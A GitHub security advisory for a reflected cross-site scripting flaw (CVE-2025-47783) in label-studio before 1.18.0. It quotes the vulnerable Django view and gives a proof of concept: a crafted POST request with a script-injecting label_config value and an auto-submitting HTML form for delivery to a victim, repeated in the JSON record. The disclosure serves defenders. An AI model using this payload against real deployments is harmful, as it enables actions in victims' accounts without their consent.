GHSA-8JHR-WPCM-HH4H

Vulnerability from github – Published: 2025-05-15 16:21 – Updated: 2026-06-06 00:31
VLAI
Summary
label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.
Details

Summary

The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details

The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.

39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41:     """Generate upload data example by config only"""
42:     config = request.POST.get('label_config', '')
43: 
44:     org_pk = get_organization_from_request(request)
45:     secure_mode = False
46:     if org_pk is not None:
47:         org = generics.get_object_or_404(Organization, pk=org_pk)
48:         secure_mode = org.secure_mode
49: 
50:     try:
51:         Project.validate_label_config(config)
52:         task_data, _, _ = get_sample_task(config, secure_mode)
53:         task_data = playground_replacements(request, task_data)
54:     except (ValueError, ValidationError, lxml.etree.Error):
55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56:     else:
57:         response = HttpResponse(json.dumps(task_data))
58:     return response

The vulnerability is specifically located in line 57, where HttpResponse is used.

57:         response = HttpResponse(json.dumps(task_data))

PoC

Send the following request after changing the {host} to your own.

POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.

<html>
  <body>
    <form action="http://{domain}/projects/upload-example/" method="POST">
      <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

  • Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
Severity
7.6 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "label-studio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-15T16:21:16Z",
    "nvd_published_at": "2025-05-14T23:15:48Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.\n\n### Details\nThe vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`.\n```python\n39: @require_http_methods([\u0027POST\u0027])\n40: def upload_example_using_config(request):\n41:     \"\"\"Generate upload data example by config only\"\"\"\n42:     config = request.POST.get(\u0027label_config\u0027, \u0027\u0027)\n43: \n44:     org_pk = get_organization_from_request(request)\n45:     secure_mode = False\n46:     if org_pk is not None:\n47:         org = generics.get_object_or_404(Organization, pk=org_pk)\n48:         secure_mode = org.secure_mode\n49: \n50:     try:\n51:         Project.validate_label_config(config)\n52:         task_data, _, _ = get_sample_task(config, secure_mode)\n53:         task_data = playground_replacements(request, task_data)\n54:     except (ValueError, ValidationError, lxml.etree.Error):\n55:         response = HttpResponse(\u0027error while example generating\u0027, status=status.HTTP_400_BAD_REQUEST)\n56:     else:\n57:         response = HttpResponse(json.dumps(task_data))\n58:     return response\n```\nThe vulnerability is specifically located in line 57, where HttpResponse is used.\n```python\n57:         response = HttpResponse(json.dumps(task_data))\n```\n### PoC\nSend the following request after changing the `{host}` to your own.\n```css\nPOST /projects/upload-example/ HTTP/1.1\nHost: {host}\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\n\nlabel_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e\n```\nOr you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim.\n```html\n\u003chtml\u003e\n  \u003cbody\u003e\n    \u003cform action=\"http://{domain}/projects/upload-example/\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"label\u0026#95;config\" value=\"\u0026lt;View\u0026gt;\u0026lt;Text\u0026#32;name\u0026#61;\u0026quot;text\u0026quot;\u0026#32;value\u0026#61;\u0026quot;\u0026#36;textjmwwi\u0026amp;lt\u0026#59;script\u0026amp;gt\u0026#59;alert\u0026#40;1\u0026#41;\u0026amp;lt\u0026#59;\u0026#47;script\u0026amp;gt\u0026#59;s8m37\u0026quot;\u0026#47;\u0026gt;\u0026lt;\u0026#47;View\u0026gt;\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027);\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n### Impact\n- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.",
  "id": "GHSA-8jhr-wpcm-hh4h",
  "modified": "2026-06-06T00:31:24Z",
  "published": "2025-05-15T16:21:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47783"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HumanSignal/label-studio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2025-124.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter."
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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